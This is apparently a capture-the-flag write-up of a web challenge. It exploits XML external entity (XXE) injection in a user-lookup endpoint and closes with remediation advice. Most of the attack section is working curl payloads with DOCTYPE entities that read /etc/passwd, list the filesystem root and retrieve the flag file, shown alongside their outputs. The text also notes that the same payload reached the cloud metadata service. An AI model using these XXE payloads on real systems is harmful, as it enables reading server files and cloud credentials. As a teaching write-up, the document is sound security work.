SKIP TO MAIN CONTENT

[ WRITEUP NODE / FIELD REPORTS ]

SOLVED CHALLENGES & FIELD ANALYSIS

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
EVENT: Safaricom PwnZone 2.0 Qualifiers 2026CATEGORY: WebPOINTS: 250 PTS

Archived

AUTHORED BY:@bealthguy10/5/2026

Archived, Web

What the challenge was

A museum collection page that fetched user records through XML. The front end built a small document like <request><id>…</id></request> and posted it to /fetch_user, then rendered the returned <user> fields. The description hinted that one catalog pointed to a second, unrelated store of data.

Initial recon

Fetching the landing page and reading the inline script showed the exact request shape:

const requestXml = `
    <request>
        <id>${userId}</id>
    </request>
`;

const response = await fetch(class="hljs-string">&#039;/fetch_user&#039;, {
    method: class="hljs-string">&#039;POST&#039;,
    headers: {
        class="hljs-string">&#039;Content-Type&#039;: class="hljs-string">&#039;application/xml&#039;
    },
    body: requestXml
});

Testing the endpoint with a normal record:

ffcurl -s -X POST -H 'Content-Type: application/xml' -d '<request><id>1</id></request>' http://54.72.82.22:8230/fetch_user
<user><id>45905544</id><name>Mkenya Halisi</name><phone_number>254797000111</phone_number><balance>17000.00</balance></user>

A second ID returned a different user, so the backend was parsing the XML and looking up the supplied identifier. Given an XML body, external entity resolution was the obvious suspicion.

The path

A classic file read followed, asking the parser to expand an entity pointing at a known system file:

ffcurl -s -X POST -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE request [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><request><id>&xxe;</id></request>' http://54.72.82.22:8230/fetch_user
<user><id>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
ctfuser:x:1001:1001::/home/ctfuser:/bin/bash
</id><name></name><phone_number></phone_number><balance></balance></user>

The file content returned inside the id field, confirming XXE with direct reflection rather than a blind channel. Guessed flag paths such as /flag returned Invalid input, so name guessing stopped and directory enumeration began, the parser also expanding directory URLs:

ffcurl -s -X POST -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///">]><request><id>&x;</id></request>' http://54.72.82.22:8230/fetch_user
<user><id>__cacert_entrypoint.sh|.dockerenv|.rock|bin|boot|dev|etc|flag8b9d5b8e264a.txt|home|lib|lib64|media|mnt|opt|proc|root|run|sbin|srv|sys|tmp|usr|var|</id></user>

The second archive was located: a flag file at the filesystem root with an unrelated random name, matching the hint.

The exploit

That file reads through the same entity channel:

ffcurl -s -X POST -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///flag8b9d5b8e264a.txt">]><request><id>&x;</id></request>' http://54.72.82.22:8230/fetch_user

Response:

<user><id>safctf{960c0e8a73c24bd9b1aee314ded96157}
</id><name></name><phone_number></phone_number><balance></balance></user>

The same primitive also reached the cloud metadata service, which confirms the parser performs server-side fetches for both file:// and http:// entity targets. Those credentials were not needed once the local flag file was visible.

The flag

safctf{960c0e8a73c24bd9b1aee314ded96157}

Methodological notes

The avoidable error was guessing exact flag filenames. A single listing of / returned the answer immediately and would have removed several failed guesses. The efficient sequence is to move directly from one successful file:///etc/passwd read to a root directory listing, then read whatever looks out of place.

The remediation is to disable external entity resolution and use a hardened XML parser, plus to keep flag files outside the reach of the application user.